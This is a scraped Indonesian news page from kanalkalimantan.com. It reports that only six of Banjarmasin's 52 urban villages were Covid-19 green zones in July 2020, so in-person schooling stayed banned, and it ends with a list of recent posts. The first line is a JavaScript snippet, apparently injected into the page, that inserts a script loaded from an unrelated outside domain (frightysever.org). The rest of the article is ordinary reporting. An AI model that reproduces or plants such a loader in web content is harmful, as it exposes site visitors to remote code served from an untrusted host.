(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Zona Hijau Cuma 6 dari 52 Kelurahan di Banjarmasin, Tatap Muka di Sekolah Belum Boleh


KANALKALIMANTAN.COM, BANJARMASIN – Baru enam kelurahan di kota Banjarmasin saat ini yang ditetapkan berstatus zona hijau Covid-19. Yakni Kertak Baru Ulu, Kertak Baru Ilir, Mawar, Alalak Tengah, Kelayan Luar, dan Kelurahan Belitung Utara.

Melihat kondisi itu, Dinas Pendidikan (Disdik) Kota Banjarmasin masih belum memperbolehkan sekolah menggelar pembelajaran tatap muka dengen peserta didik.

Alasannya saat ini zona hijau dari Covid-19 baru 6 dari 52 kelurahan yang ada di kota Banjarmasin. Kondisi tersebut diyakini belum bisa membuat kota Banjarmasin dikatakan aman.

“Untuk saat ini masih tidak memperbolehkan tatap muka. Karena kan Banjarmasin secara keseluruhan masih belum hijau,” ucap Kepala Disdik Kota Banjarmasin, Totok Agus Daryanto, Rabu (22/7/2020).

 

Baca juga: Perbaikan KTP Dukungan Hanya Lima Hari, Ini ‘Denda’ Tiga Calon Independen di Pilkada Banjar

Di samping itu, Totok mengungkapkan, tidak semua murid yang ada di sekolah zona hijau tersebut merupakan penduduk setempat. Bahkan, satu kelurahan dengan kelurahan lainnya tidak ada batasan.

“Murid yang berada di sekolah sana tidak pasti semuanya berasal dari kelurahan itu. Kan beda-beda,” ujarnya.

Totok mengatakan, pihaknya harus menunggu rekomendasi dan persetujuan oleh gugus tugas Covid-19 Banjarmasin bila ingin menggelar sekolah tatap muka.

Baca juga: Covid-19 di Kalsel Hari Ini Tembus 5 Ribu, Pasien Meninggal Capai 257 Orang!

Selain itu, Totok memaparkan, Pemko Banjarmasin akan menyesuaikan kebijakan dari Pemprov Kalimantan Selatan dan pemerintah pusat. Mengingat Pemprov sendiri belum lama tadi mengeluarkan surat edaran kepada seluruh sekolah di Kalsel untuk tidak menggelar belajar tatap muka.

Kendati begitu, menurut Totok ada berbagai kemungkinan terhadap sejumlah sekolah di Banjarmasin untuk menggelar pembelajaran tatap muka. Bahkan, ia mengatakan rencana yang sebelumnya pada Oktober 2020 mendatang bisa saja dilaksanakan.

“Bila dalam tiga bulan mendatang ini kondisi Banjarmasin persentase hijaunya sudah banyak. Bukan tidak mungkin kita laksanakan. Tetapi sekali lagi, kita harus tunggu rekomendasi dari gugus tugas,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.